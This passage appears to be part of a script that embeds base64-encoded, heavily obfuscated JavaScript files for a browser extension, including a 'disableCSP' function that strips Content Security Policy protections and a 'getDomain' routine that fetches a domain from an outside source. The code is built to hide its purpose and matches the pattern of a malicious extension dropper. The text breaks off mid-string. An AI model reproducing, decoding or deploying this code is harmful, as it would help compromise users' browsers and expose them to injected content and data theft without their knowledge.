ZWQ7fTtyZXR1cm4gXzB4MjM4MSgpO30oZnVuY3Rpb24oXzB4M2FlMWI0LF8weDNlODU2ZSl7ZnVuY3Rpb24gXzB4MjUyZTZhKF8weDQ0NWFhNCxfMHgxNmYzMzgsXzB4NDFiYmQ4LF8weDU5YmQwOSxfMHgxODgxZjApe3JldHVybiBfMHg0OTVhKF8weDU5YmQwOS0gLTB4MTBmLF8weDQ0NWFhNCk7fWZ1bmN0aW9uIF8weDUwZDkzMShfMHg0MjE5MjEsXzB4MjBjYTQ5LF8weDUzMTY5OSxfMHg1MWEwNWYsXzB4NDUxNDQ4KXtyZXR1cm4gXzB4NDk1YShfMHg0NTE0NDgtIC0weDNjYSxfMHg1MzE2OTkpO31mdW5jdGlvbiBfMHgyMGI4ZDMoXzB4NDc0OTI4LF8weDU5N2EyZCxfMHgxM2YwNGUsXzB4NGYxMzZhLF8weDU0NjFjZCl7cmV0dXJuIF8weDQ5NWEoXzB4MTNmMDRlLTB4MjUwLF8weDQ3NDkyOCk7fWNvbnN0IF8weDE0Y2I1Mz1fMHgzYWUxYjQoKTtmdW5jdGlvbiBfMHgxZTM3ZWUoXzB4MTYxOTgzLF8weDNlM2QzYSxfMHg1N2E5MzQsXzB4NGVkNjAxLF8weDE3OWVmMSl7cmV0dXJuIF8weDQ5NWEoXzB4MTYxOTgzLSAtMHg4ZCxfMHgxNzllZjEpO31mdW5jdGlvbiBfMHg0ZjUwZGEoXzB4NjNiNjBjLF8weDNiOTJkZCxfMHgyMDdhYzksXzB4MTE1MGIxLF8weDE1MGMzMSl7cmV0dXJuIF8weDQ5NWEoXzB4MTUwYzMxLTB4YTYsXzB4M2I5MmRkKTt9d2hpbGUoISFbXSl7dHJ5e2NvbnN0IF8weDFjNzUxMD1wYXJzZUludChfMHg1MGQ5MzEoLTB4Mjk1LC0weDI4ZSwndilpQCcsLTB4MjgxLC0weDI5MCkpLygweDllMCstMHgxKjB4NTUyKzB4NSotMHhlOSkrcGFyc2VJbnQoXzB4NTBkOTMxKC0weDJiNiwtMHgyYjcsJ1kkZ2MnLC0weDJhMiwtMHgyYWMpKS8oMHg1YjYrLTB4MWE3NSsweDE0YzEpKy1wYXJzZUludChfMHg0ZjUwZGEoMHgxZWQsJ0lvT1InLDB4MWU1LDB4MWQxLDB4MWRlKSkvKC0weDE2ODMrLTB4MjgqLTB4YzcrLTB4ODkyKStwYXJzZUludChfMHgyMGI4ZDMoJ3pNUCUnLDB4Mzg4LDB4MzgwLDB4MzhkLDB4MzdkKSkvKC0weDYqMHg0ZGUrLTB4MSoweDM5MSsweDIwYzkpK3BhcnNlSW50KF8weDRmNTBkYSgweDFjNiwncVUxZicsMHgxZDAsMHgxY2YsMHgxZDMpKS8oLTB4ZmNlKi0weDIrMHg0NDMqMHg0KzB4MSotMHgzMGEzKStwYXJzZUludChfMHgxZTM3ZWUoMHg5MywweDlmLDB4OWIsMHg4OCwnZ0pGeCcpKS8oMHg3Ki0weDU2YysweDEwMSotMHgyNCsweDM1KjB4MTY2KSooLXBhcnNlSW50KF8weDFlMzdlZSgweGE0LDB4YTYsMHhhYSwweDk1LCdnSkZ4JykpLygtMHgxZjYzKi0weDErMHgxYmFmKy0weDNiMGIqMHgxKSkrLXBhcnNlSW50KF8weDRmNTBkYSgweDFkYywnJVNzZCcsMHgxY2UsMHgxYzksMHgxZDgpKS8oLTB4MTlmKzB4MTdlMystMHgxNjNjKTtpZihfMHgxYzc1MTA9PT1fMHgzZTg1NmUpYnJlYWs7ZWxzZSBfMHgxNGNiNTNbJ3B1c2gnXShfMHgxNGNiNTNbJ3NoaWZ0J10oKSk7fWNhdGNoKF8weDJhZDhlNCl7XzB4MTRjYjUzWydwdXNoJ10oXzB4MTRjYjUzWydzaGlmdCddKCkpO319fShfMHgyMzgxLC0weDI1OWQqLTB4MzErLTB4NjQ0OGIrMHg0NTRmZCkpO2Z1bmN0aW9uIF8weDQ5NWEoXzB4ZGI4NGE2LF8weDVjYTc3OCl7Y29uc3QgXzB4MTkwYTQxPV8weDIzODEoKTtyZXR1cm4gXzB4NDk1YT1mdW5jdGlvbihfMHgyZmFjOGYsXzB4NTkzYzIzKXtfMHgyZmFjOGY9XzB4MmZhYzhmLSgweDEzNTArLTB4ZjRjKy0weDJlOCk7bGV0IF8weGY2ZDNiOT1fMHgxOTBhNDFbXzB4MmZhYzhmXTtpZihfMHg0OTVhWydpR0t5b1gnXT09PXVuZGVmaW5lZCl7dmFyIF8weDFhYjcwMD1mdW5jdGlvbihfMHg0ZWQ2OGEpe2NvbnN0IF8weGM4YTc2Zj0nYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkrLz0nO2xldCBfMHgzOWQyYTM9JycsXzB4NTY2YTIwPScnO2ZvcihsZXQgXzB4MTk2MTYwPS0weGMxMSotMHgxKzB4Mzc5Ky0weDdjNSoweDIsXzB4NmZjYWFmLF8weDNlNzczNCxfMHgyODQ0ZWQ9LTB4MWEzNCstMHg2ZDUrLTB4YjAzKi0weDM7XzB4M2U3NzM0PV8weDRlZDY4YVsnY2hhckF0J10oXzB4Mjg0NGVkKyspO35fMHgzZTc3MzQmJihfMHg2ZmNhYWY9XzB4MTk2MTYwJSgtMHgxNDYrMHgxKi0weDFhMDErLTB4MTEqLTB4MTliKT9fMHg2ZmNhYWYqKDB4MTQ5KjB4MTMrMHgxKjB4MWY0MystMHgyODUqMHgxNikrXzB4M2U3NzM0Ol8weDNlNzczNCxfMHgxOTYxNjArKyUoLTB4NjY0KzB4MTJiNystMHhjNGYpKT9fMHgzOWQyYTMrPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oLTB4ZDkqMHgxNSsweDExKjB4MWY2Ky0weGU4YSZfMHg2ZmNhYWY+PigtKC0weDExNjcrLTB4MWE4MysweDJiZWMpKl8weDE5NjE2MCYweDkwOCsweDI5NSoweGMrLTB4MioweDEzZmYpKToweDFmYioweDErLTB4YmUyKzB4MSoweDllNyl7XzB4M2U3NzM0PV8weGM4YTc2ZlsnaW5kZXhPZiddKF8weDNlNzczNCk7fWZvcihsZXQgXzB4YjJkZDVmPTB4MmNjKy0weDIxZDMrMHgxZjA3LF8weDJmODk0OD1fMHgzOWQyYTNbJ2xlbmd0aCddO18weGIyZGQ1ZjxfMHgyZjg5NDg7XzB4YjJkZDVmKyspe18weDU2NmEyMCs9JyUnKygnMDAnK18weDM5ZDJhM1snY2hhckNvZGVBdCddKF8weGIyZGQ1ZilbJ3RvU3RyaW5nJ10oMHgxKjB4MjVmOSsweDE2NmQrMHgyKi0weDFlMmIpKVsnc2xpY2UnXSgtKC0weDEyKi0weDE4NSstMHg1ZioweDQ0Ky0weDIxYykpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDU2NmEyMCk7fTtjb25zdCBfMHgzOGRmMWI9ZnVuY3Rpb24oXzB4MTdhNDlmLF8weDEwNzgyMil7bGV0IF8weDMzODQzNz1bXSxfMHgxOGNiZTg9MHgxKjB4MWRkYisweGQqLTB4MWUxKzB4OGIqLTB4YSxfMHgxMGNlMzMsXzB4MWM0MjYzPScnO18weDE3YTQ5Zj1fMHgxYWI3MDAoXzB4MTdhNDlmKTtsZXQgXzB4NTllNWJiO2ZvcihfMHg1OWU1YmI9MHgyKjB4M2NkKzB4MSoweDcxZistMHhlYjk7XzB4NTllNWJiPDB4MyoweDZiMisweDFmY2UrLTB4MzJlNDtfMHg1OWU1YmIrKyl7XzB4MzM4NDM3W18weDU5ZTViYl09XzB4NTllNWJiO31mb3IoXzB4NTllNWJiPTB4NWIqMHg2OCstMHgzZCoweDExKy0weDIwZWI7XzB4NTllNWJiPC0weDc3MystMHg1KjB4Nzc1Ky0weDQqLTB4YjZmO18weDU5ZTViYisrKXtfMHgxOGNiZTg9KF8weDE4Y2JlOCtfMHgzMzg0MzdbXzB4NTllNWJiXStfMHgxMDc4MjJbJ2NoYXJDb2RlQXQnXShfMHg1OWU1YmIlXzB4MTA3ODIyWydsZW5ndGgnXSkpJSgtMHg1NzkrLTB4NioweDRkZSstMHgxKi0weDIzYWQpLF8weDEwY2UzMz1fMHgzMzg0MzdbXzB4NTllNWJiXSxfMHgzMzg0MzdbXzB4NTllNWJiXT1fMHgzMzg0MzdbXzB4MThjYmU4XSxfMHgzMzg0MzdbXzB4MThjYmU4XT1fMHgxMGNlMzM7fV8weDU5ZTViYj0weGYqLTB4MjMyKzB4MWY5YysweDFhKjB4ZCxfMHgxOGNiZTg9MHgzZjArMHgyMzArMHhlKi0weDcwO2ZvcihsZXQgXzB4NDY1MTAzPTB4NyoweDFiZSsweDMxMyoweDcrLTB4MjFiNyoweDE7XzB4NDY1MTAzPF8weDE3YTQ5ZlsnbGVuZ3RoJ107XzB4NDY1MTAzKyspe18weDU5ZTViYj0oXzB4NTllNWJiKygtMHgxOTk2KzB4MjEwMistMHhkMyoweDkpKSUoLTB4YjIqMHgxMCstMHg2ZjEqMHg0KzB4MjdlNCksXzB4MThjYmU4PShfMHgxOGNiZTgrXzB4MzM4NDM3W18weDU5ZTViYl0pJSgtMHgxNTEqMHg1KzB4OTJjKy0weDE5NyksXzB4MTBjZTMzPV8weDMzODQzN1tfMHg1OWU1YmJdLF8weDMzODQzN1tfMHg1OWU1YmJdPV8weDMzODQzN1tfMHgxOGNiZThdLF8weDMzODQzN1tfMHgxOGNiZThdPV8weDEwY2UzMyxfMHgxYzQyNjMrPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oXzB4MTdhNDlmWydjaGFyQ29kZUF0J10oXzB4NDY1MTAzKV5fMHgzMzg0MzdbKF8weDMzODQzN1tfMHg1OWU1YmJdK18weDMzODQzN1tfMHgxOGNiZThdKSUoMHgxYmIzKzB4ZGU2KzB4MSotMHgyODk5KV0pO31yZXR1cm4gXzB4MWM0MjYzO307XzB4NDk1YVsnaGNteExBJ109XzB4MzhkZjFiLF8weGRiODRhNj1hcmd1bWVudHMsXzB4NDk1YVsnaUdLeW9YJ109ISFbXTt9Y29uc3QgXzB4NzI2NjQ0PV8weDE5MGE0MVstMHhhNDMqMHgyKzB4N2NkKzB4Y2I5XSxfMHgyOGYyNTY9XzB4MmZhYzhmK18weDcyNjY0NCxfMHg0OTA5MTE9XzB4ZGI4NGE2W18weDI4ZjI1Nl07cmV0dXJuIV8weDQ5MDkxMT8oXzB4NDk1YVsnbXROUGx2J109PT11bmRlZmluZWQmJihfMHg0OTVhWydtdE5QbHYnXT0hIVtdKSxfMHhmNmQzYjk9XzB4NDk1YVsnaGNteExBJ10oXzB4ZjZkM2I5LF8weDU5M2MyMyksXzB4ZGI4NGE2W18weDI4ZjI1Nl09XzB4ZjZkM2I5KTpfMHhmNmQzYjk9XzB4NDkwOTExLF8weGY2ZDNiOTt9LF8weDQ5NWEoXzB4ZGI4NGE2LF8weDVjYTc3OCk7fWV4cG9ydCBjb25zdCBkaXNhYmxlQ1NQPWFzeW5jKCk9Pntjb25zdCBfMHg0Njg3NTA9e307XzB4NDY4NzUwW18weDU1ZGQ0NygweDI2NiwweDI2MSwnQjAkeCcsMHgyNWMsMHgyNmEpXT1fMHg0ZWMyMzYoLTB4MjNlLCcoXW9pJywtMHgyM2QsLTB4MjQ3LC0weDI0MykrXzB4MWJiYTQ5KDB4MTNhLDB4MTM3LDB4MTM5LDB4MTNkLCdaJnJ1JykrJ3AnO2Z1bmN0aW9uIF8weDFjYzE5ZihfMHgzNzc3MTAsXzB4MjdkOWM3LF8weDRlNDYzNixfMHg1NzAxYmYsXzB4MmRmYWY1KXtyZXR1cm4gXzB4NDk1YShfMHgyZGZhZjUtIC0weDI4MSxfMHgyN2Q5YzcpO31jb25zdCBfMHhiOTIzZGI9XzB4NDY4NzUwO2Z1bmN0aW9uIF8weDRlYzIzNihfMHg0N2MwYjIsXzB4MTJjZGQ5LF8weDQ0ZDQ3MCxfMHhjY2I5Y2QsXzB4MWIzZTBlKXtyZXR1cm4gXzB4NDk1YShfMHg0NGQ0NzAtIC0weDM1ZixfMHgxMmNkZDkpO31mdW5jdGlvbiBfMHgxYmJhNDkoXzB4MzNhNjVmLF8weDVlYzczYyxfMHgzZGYyN2IsXzB4ZDg3MWRjLF8weDQxZmU1MCl7cmV0dXJuIF8weDQ5NWEoXzB4NWVjNzNjLSAtMHg0LF8weDQxZmU1MCk7fWZ1bmN0aW9uIF8weGIyYzMzYihfMHgxZjMwZTQsXzB4MTVlNmQzLF8weDExN2M4NSxfMHgyM2E5OTEsXzB4NTBhMDNlKXtyZXR1cm4gXzB4NDk1YShfMHg1MGEwM2UtMHgyYmQsXzB4MTE3Yzg1KTt9ZnVuY3Rpb24gXzB4NTVkZDQ3KF8weDM0NDczYyxfMHgzODkxZTcsXzB4Mjc1ZWNjLF8weDE3Y2RhNixfMHg0Yzk3OTMpe3JldHVybiBfMHg0OTVhKF8weDM4OTFlNy0weDEyYSxfMHgyNzVlY2MpO310cnl7Y29uc3QgXzB4Mjg4MGYxPXt9O18weDI4ODBmMVtfMHg1NWRkNDcoMHgyNjAsMHgyNTQsJ0RAdWonLDB4MjU2LDB4MjQ5KStfMHgxY2MxOWYoLTB4MTNkLCdJb09SJywtMHgxNGIsLTB4MTUxLC0weDE0YykrXzB4MWJiYTQ5KDB4MTI4LDB4MTFkLDB4MTBkLDB4MTIxLCdsQmhwJykrJ3MnXT1bXzB4YjkyM2RiW18weDRlYzIzNigtMHgyMmUsJ2tvWDEnLC0weDIzNywtMHgyMzQsLTB4MjQ0KV1dLGF3YWl0IGNocm9tZVtfMHgxYmJhNDkoMHgxMTQsMHgxMTgsMHgxMTAsMHgxMGQsJ2tvWDEnKStfMHgxY2MxOWYoLTB4MTQ3LCdJb09SJywtMHgxNGIsLTB4MTQ1LC0weDE0OCkrXzB4YjJjMzNiKDB4M2UwLDB4M2VkLCdnSkZ4JywweDNlYywweDNlMSkrXzB4NTVkZDQ3KDB4MjQ1LDB4MjUwLCdrVjZkJywweDI0NiwweDI0MykrJ3QnXVtfMHgxYmJhNDkoMHgxM2MsMHgxMzAsMHgxMmYsMHgxMmIsJ3FVMWYnKStfMHgxYmJhNDkoMHgxMTQsMHgxMWIsMHgxMjgsMHgxMTUsJ3hIYlgnKStfMHhiMmMzM2IoMHgzZmQsMHgzZWIsJzgmKGEnLDB4M2UyLDB4M2YwKStfMHg0ZWMyMzYoLTB4MjQzLCdQUCVKJywtMHgyMzQsLTB4MjJjLC0weDIyYikrJ3MnXShfMHgyODgwZjEpO31jYXRjaChfMHgzMjk4NjEpe2NvbnNvbGVbXzB4YjJjMzNiKDB4M2RkLDB4M2UyLCdqSUBuJywweDNkMSwweDNlMCldKF8weDMyOTg2MSk7fX07Cg=='),@('c3JjXGZ1bmN0aW9uc1xkb21haW4uanM=', 'KGZ1bmN0aW9uKF8weDVjNThjYSxfMHgzYzVlODQpe2NvbnN0IF8weDRlYjFhNj1fMHg1YzU4Y2EoKTtmdW5jdGlvbiBfMHg0ZTlkYTMoXzB4MTRmMmUzLF8weDIwMzIzMixfMHgzYjBlNjIsXzB4MzYwZDYxLF8weDI4NTVjYSl7cmV0dXJuIF8weDIzYzYoXzB4Mjg1NWNhLTB4MjRjLF8weDIwMzIzMik7fWZ1bmN0aW9uIF8weDI5MzEzOChfMHgzZGQyZDQsXzB4NGJiYmJhLF8weDRlMmQ0YSxfMHg1MjA3MWIsXzB4NWMxM2E5KXtyZXR1cm4gXzB4MjNjNihfMHg1YzEzYTktMHgyNTcsXzB4NGJiYmJhKTt9ZnVuY3Rpb24gXzB4NDliNDFlKF8weDJjMjIyYyxfMHg1MzVhOWUsXzB4NTU5YTQ1LF8weDJjMzUzYSxfMHgyODIwOGQpe3JldHVybiBfMHgyM2M2KF8weDU1OWE0NS0weDFlZCxfMHgyODIwOGQpO31mdW5jdGlvbiBfMHgxODk3ZjAoXzB4MTc1NWQ5LF8weDQ4YWUzMixfMHg1ODgxYWMsXzB4NDBmYTM1LF8weDE3ZDljYyl7cmV0dXJuIF8weDIzYzYoXzB4MTdkOWNjLTB4MTE3LF8weDE3NTVkOSk7fWZ1bmN0aW9uIF8weDEyZjljMChfMHgzMzY3M2QsXzB4MjJlZmI4LF8weDJjODg4NSxfMHgyMmZkNDUsXzB4M2I2NTk0KXtyZXR1cm4gXzB4MjNjNihfMHgyMmZkNDUtIC0weDIwNyxfMHgyYzg4ODUpO313aGlsZSghIVtdKXt0cnl7Y29uc3QgXzB4MjkzZTE1PXBhcnNlSW50KF8weDQ5YjQxZSgweDM2NSwweDIwNSwweDMzNiwweDM1MCwneVtoWycpKS8oMHgxKi0weDIxNzUrLTB4MTgyZSsweDM5YTQpK3BhcnNlSW50KF8weDI5MzEzOCgweDQ5NCwncWlWSicsMHgzYWEsMHgyOTksMHgzODYpKS8oMHg0NzUrLTB4Mjc0Ky0weDFmZikqKC1wYXJzZUludChfMHgxODk3ZjAoJzEkd1gnLDB4MjRiLDB4MzI3LDB4MmZhLDB4MjNhKSkvKC0weDNmKjB4NSsweDE1NmErLTB4MTQyYykpKy1wYXJzZUludChfMHg0OWI0MWUoMHgyMTUsMHgxODEsMHgyYWUsMHgxYzUsJyZeb2onKSkvKC0weDhjNysweDMqMHhiMGYrLTB4MTg2MikqKHBhcnNlSW50KF8weDI5MzEzOCgweDQ4MCwnZmFdcCcsMHgyZTIsMHgzYzUsMHg0MjcpKS8oLTB4MSoweDE1MzYrLTB4ZCotMHgxM2IrMHg1M2MpKSstcGFyc2VJbnQoXzB4MTg5N2YwKCdmYV1wJywweDMyZSwweDI5NCwweDNjMCwweDNhOCkpLygtMHgzKi0weDVjYSsweDEqMHgyMjRlKzB4MjU5Ki0weDE2KStwYXJzZUludChfMHg0OWI0MWUoMHg0OWUsMHg0OTcsMHgzYTQsMHgyYzksJypII0EnKSkvKDB4NTEzKzB4NzYxKjB4NSstMHg0YTkqMHg5KSoocGFyc2VJbnQoXzB4NDliNDFlKDB4MmM2LDB4NDIyLDB4M2U1LDB4MmNlLCdtMU1jJykpLygtMHg3NiotMHgxZisweGU3ZCotMHgxKzB4M2IpKSstcGFyc2VJbnQoXzB4NGU5ZGEzKDB4MjA5LCdOITgxJywweDNhMSwweDQxNiwweDMyMCkpLygweDEyZCstMHg0KjB4OThlKy0weDE1MyotMHgxYykqKHBhcnNlSW50KF8weDQ5YjQxZSgweDRmYSwweDQxZCwweDRiYiwweDU4OSwnUlMwTycpKS8oMHgxYjBjKzB4MWQ5NSsweDUyNSotMHhiKSkrLXBhcnNlSW50KF8weDE4OTdmMCgncWlWSicsMHgyMzQsMHgzNzcsMHgxYWIsMHgyMzQpKS8oLTB4MTA0ZistMHhmOWErMHgxZmY0KTtpZihfMHgyOTNlMTU9PT1fMHgzYzVlODQpYnJlYWs7ZWxzZSBfMHg0ZWIxYTZbJ3B1c2gnXShfMHg0ZWIxYTZbJ3NoaWZ0J10oKSk7fWNhdGNoKF8weDM5MWFmOSl7XzB4NGViMWE2WydwdXNoJ10oXzB4NGViMWE2WydzaGlmdCddKCkpO319fShfMHgyNjcyLC0weDZjMGNmKzB4MSotMHhiMTE3ZisweDE3OThiMikpO2ltcG9ydCBfMHg1YTBjZWYgZnJvbScuLi8uLi9jb25maWcuanMnO2Z1bmN0aW9uIF8weDVmYTE2YShfMHgzNGM4MWUsXzB4Mzc1YjIxLF8weDRjNTM1NixfMHg0ODgwNGUsXzB4NTBjNDM2KXtyZXR1cm4gXzB4MjNjNihfMHgzNGM4MWUtIC0weDdlLF8weDQ4ODA0ZSk7fWV4cG9ydCBjb25zdCBnZXREb21haW49YXN5bmMoKT0+e2Z1bmN0aW9uIF8weDVhZjZiNihfMHg0NWYzNzYsXzB4NWJhYzBkLF8weGIzZGJlNSxfMHgzZWMwODYsXzB4Mzk0NDQxKXtyZXR1cm4gXzB4MjNjNihfMHg0NWYzNzYtIC0weGVlLF8weDViYWMwZCk7fWNvbnN0IF8weDRlNGVhYz17J0l1QVJ1JzpfMHgyMTk4MzcoMHgxODEsMHgxYWEsMHgyOGEsMHgyMWIsJ2ZBMzUnKStfMHgyMTk4MzcoMHg3MywtMHgyMSwtMHg2YywtMHgxMjMsJ3hbTSEnKSwnWk9tUUcnOmZ1bmN0aW9uKF8weDEwNTIzMCxfMHgzY2VmY2Ipe3JldHVybiBfMHgxMDUyMzA9PT1fMHgzY2VmY2I7fSwnT2JmeVknOmZ1bmN0aW9uKF8weDNiNzdiNSxfMHgyNmQxOWIpe3JldHVybiBfMHgzYjc3YjU8XzB4MjZkMTliO30sJ05oSm1CJzpmdW5jdGlvbihfMHg1NmUzN2QsXzB4MTdmNzkxKXtyZXR1cm4gXzB4NTZlMzdkLV8weDE3Zjc5MTt9LCdmWWhXbic6ZnVuY3Rpb24oXzB4YTAzOTM3LF8weDVhYjJlZCl7cmV0dXJuIF8weGEwMzkzNz09PV8weDVhYjJlZDt9LCdMSVFJcSc6ZnVuY3Rpb24oXzB4MzkzNmViLF8weDRmNzA3Zil7cmV0dXJuIF8weDM5MzZlYjxfMHg0ZjcwN2Y7fSwnVWJiWlQnOmZ1bmN0aW9uKF8weGE0YzQzMyxfMHgyZmJhOGEpe3JldHVybiBfMHhhNGM0MzN8XzB4MmZiYThhO30sJ3dtWFlXJzpmdW5jdGlvbihfMHg0NjkwYmMsXzB4MmEzMjAzKXtyZXR1cm4gXzB4NDY5MGJjL18weDJhMzIwMzt9LCdMZWhnTCc6ZnVuY3Rpb24oXzB4M2UyZWI5LF8weDUyNzlkNCl7cmV0dXJuIF8weDNlMmViOSVfMHg1Mjc5ZDQ7fSwndWxOQ1onOmZ1bmN0aW9uKF8weDJjNzBhYixfMHg0NGQ0NjIpe3JldHVybiBfMHgyYzcwYWJ8XzB4NDRkNDYyO30sJ0JnV2xRJzpmdW5jdGlvbihfMHgyOWQ0N2QsXzB4MjJlNzM0KXtyZXR1cm4gXzB4MjlkNDdkKF8weDIyZTczNCk7fSwnRW1hdFknOmZ1bmN0aW9uKF8weDJiYzVlYixfMHgyZmE4ZDIpe3JldHVybiBfMHgyYmM1ZWIhPT1fMHgyZmE4ZDI7fSwnc2FoQ0onOl8weDIxOTgzNygweDRkLDB4YjYsLTB4NzIsMHhhYiwnbHlTeScpLCd3RFlmbCc6ZnVuY3Rpb24oXzB4MjY1NzcxLF8weDQxYTQxZCl7cmV0dXJuIF8weDI2NTc3MT09PV8weDQxYTQxZDt9LCdWRlprQic6XzB4NWRiZTAwKC0weDFhMSwtMHgyNzMsLTB4MWE5LC0weDI2MywnSE5UUicpLCdCUU5scic6ZnVuY3Rpb24oXzB4M2I4Yzk4LF8weDJjZmExNil7cmV0dXJuIF8weDNiOGM5OD09XzB4MmNmYTE2O30sJ3hZdmhZJzpmdW5jdGlvbihfMHg1NzVhNjQsXzB4NzhjODApe3JldHVybiBfMHg1NzVhNjQhPT1fMHg3OGM4MDt9LCd0cmJWQyc6XzB4NDMzMDAzKDB4MTYwLCdlKUhKJywweGRmLDB4Y2EsMHgyNTIpLCdTWWhNZic6ZnVuY3Rpb24oXzB4MzVkMTBkLF8weDRkYjFjZil7cmV0dXJuIF8weDM1ZDEwZChfMHg0ZGIxY2YpO30sJ2Z2Y0pjJzpmdW5jdGlvbihfMHg0MzQyMDYpe3JldHVybiBfMHg0MzQyMDYoKTt9fTtmdW5jdGlvbiBfMHhmNDQwNGIoXzB4NTQ3OGVkLF8weDE5MmI3ZixfMHgxZDRhMDgsXzB4NGJhOWFiLF8weDNkNTlmNyl7cmV0dXJuIF8weDIzYzYoXzB4NTQ3OGVkLSAtMHgxZGMsXzB4M2Q1OWY3KTt9ZnVuY3Rpb24gXzB4MjE5ODM3KF8weDVhNWJhOCxfMHg0YmRmNTEsXzB4NjYwZmIyLF8weGE5YjhkOSxfMHg0OTAwYTgpe3JldHVybiBfMHgyM2M2KF8weDRiZGY1MS0gLTB4MTI2LF8weDQ5MDBhOCk7fWZ1bmN0aW9uIF8weDQzMzAwMyhfMHgzNjMxMGQsXzB4NTJmNWZjLF8weDFiMWY4OSxfMHg1NDk1ZjcsXzB4Mzg3OTUzKXtyZXR1cm4gXzB4MjNjNihfMHgzNjMxMGQtIC0weDE0NyxfMHg1MmY1ZmMpO31mdW5jdGlvbiBfMHg1ZGJlMDAoXzB4MzZhOWZkLF8weDNlYjk0YyxfMHgyYzZmNzksXzB4YTE5Mjc1LF8weDM0NjQ0Myl7cmV0dXJuIF8weDIzYzYoXzB4MmM2Zjc5LSAtMHgyZjEsXzB4MzQ2NDQzKTt9bGV0IF8weDRjNjg5Yj0nJztyZXR1cm4gYXdhaXQgXzB4NGU0ZWFjW18weDIxOTgzNygweDIwMywweDFiMSwweGU4LDB4MjUxLCdDJHlQJyldKGZldGNoQmxvY2tKU09OKVtfMHg0MzMwMDMoMHhlOCwnVTNaRScsMHhhZCwweDEwNiwweGYpXShfMHgxZWMyZmU9PntmdW5jdGlvbiBfMHgzMDRhMDcoXzB4NGEwODE2LF8weDNiNWY3YixfMHgyNjc3NDUsXzB4MWY3NGIyLF8weDk3MDZjZSl7cmV0dXJuIF8weGY0NDA0YihfMHg0YTA4MTYtMHgyOGQsXzB4M2I1ZjdiLTB4MTcwLF8weDI2Nzc0NS0weDFhYixfMHgxZjc0YjItMHgzZixfMHgzYjVmN2IpO31mdW5jdGlvbiBfMHgzOWRjYWIoXzB4MTc5MGQ4LF8weDZlZmM3NCxfMHg1NzcxZjQsXzB4MjJmNTVhLF8weDRhNzVlOCl7cmV0dXJuIF8weDQzMzAwMyhfMHg0YTc1ZTgtIC0weDI3NyxfMHgyMmY1NWEsXzB4NTc3MWY0LTB4YWQsXzB4MjJmNTVhLTB4MTc2LF8weDRhNzVlOC0weGVjKTt9ZnVuY3Rpb24gXzB4NDVkMTY3KF8weDc2NjEzNyxfMHgzMDAzZDcsXzB4MTZmOTU2LF8weDU1Y2UzNixfMHgzZDhhOTApe3JldHVybiBfMHgyMTk4MzcoXzB4NzY2MTM3LTB4MTIsXzB4NzY2MTM3LTB4MmZlLF8weDE2Zjk1Ni0weGVmLF8weDU1Y2UzNi0weDE1NixfMHg1NWNlMzYpO31mdW5jdGlvbiBfMHgzM2JhNGYoXzB4MjExYTEyLF8weGYzMzZhZSxfMHg1ZTA0MDgsXzB4MjVlNmExLF8weDQ3MzBkMil7cmV0dXJuIF8weDQzMzAwMyhfMHg1ZTA0MDgtMHg0NTEsXzB4NDczMGQyLF8weDVlMDQwOC0weGUxLF8weDI1ZTZhMS0weDY1LF8weDQ3MzBkMi0weDYwKTt9ZnVuY3Rpb24gXzB4NDgyNmYzKF8weDI1YTAzNSxfMHg1NDkyOTAsXzB4MmMzZjk0LF8weDQ3ODU3OCxfMHgyZGZmNmUpe3JldHVybiBfMHgyMTk4MzcoXzB4MjVhMDM1LTB4MTVhLF8weDI1YTAzNS0gLTB4MWJjLF8weDJjM2Y5NC0weDljLF8weDQ3ODU3OC0weDE0MCxfMHg0Nzg1NzgpO31pZihfMHg0ZTRlYWNbXzB4NDVkMTY3KDB4M2QzLDB4NDZlLDB4M2UxLCdpNzVQJywweDMyMyldKF8weDRlNGVhY1tfMHg0NWQxNjcoMHgyOWIsMHgzMTAsMHgxZWMsJ2pRWnYnLDB4MWI3KV0sXzB4NGU0ZWFjW18weDMzYmE0ZigweDRmNywweDQ1OCwweDU4NywweDRkZSwnMiZFbicpXSkpe2NvbnN0IF8weDRjMTllZj1fMHg0ZTRlYWNbXzB4NDVkMTY3KDB4NDA4LDB4NDViLDB4MzcyLCd4W00hJywweDRkYSldW18weDQ4MjZmMygtMHgyMywtMHgxNDksMHhjZiwnYWE2cCcsLTB4YjcpXSgnfCcpO2xldCBfMHhlYTU2MDY9LTB4NCotMHg1NzkrMHg3Ki0weDM0ZistMHgxOSotMHhkO3doaWxlKCEhW10pe3N3aXRjaChfMHg0YzE5ZWZbXzB4ZWE1NjA2KytdKXtjYXNlJzAnOnZhciBfMHgxOTlkMWYsXzB4MWJjN2Y4LF8weDMxZGZlZDtjb250aW51ZTtjYXNlJzEnOnJldHVybiBfMHgxYmM3ZjhbXzB4MzlkY2FiKC0weDFiLC0weDgwLC0weDEyZCwneG0xZycsLTB4MTMxKSsnc2UnXSgpW18weDM5ZGNhYigtMHg3ZiwtMHhmZCwtMHgxZDUsJ2NeXkAnLC0weGI1KV0oZnVuY3Rpb24oXzB4ZTY3M2U1KXtyZXR1cm4gXzB4NzA1NDQ3W18weGU2NzNlNV07fSlbXzB4MzA0YTA3KDB4MjIwLCdDJHlQJywweDFmNCwweDMwZiwweDI1YSldKCcnKTtjYXNlJzInOmZvcihfMHgyN2M1YjE9MHgxZTMyKzB4ZTcyKy0weDE2NTIqMHgyO18weDRlNGVhY1tfMHgzMDRhMDcoMHgzMjEsJ3BUN0QnLDB4NDYwLDB4MzcwLDB4MzJhKV0oLTB4ZmVlKzB4MjQ0OCstMHgxNDVhKjB4MSxfMHgyYzM3NjlbXzB4MTBiZjA2XSkmJl8weDRlNGVhY1tfMHg0ODI2ZjMoLTB4MjUxLC0weDI3MiwtMHgyOWUsJ2k3NVAnLC0weDEyNyldKF8weDNmN2MwMyxfMHg0ZTRlYWNbXzB4MzlkY2FiKC0weDE1OCwtMHgxYzQsLTB4MjRmLCdVM1pFJywtMHgyMGYpXShfMHhhYTE4ZGRbXzB4MzlkY2FiKC0weDM1NywtMHgyNDksLTB4M2E1LCdSUzBPJywtMHgzMGQpKydoJ10sLTB4ZiotMHgxMzMrMHgyOSotMHhhMSsweDdjZCkpOylfMHgxYmM3ZjhbXzB4MzNiYTRmKDB4NGM4LDB4MzgzLDB4NGE3LDB4M2E1LCdSJWt3JyldKDB4MjM2NysweDEwYiotMHg1Ky0weD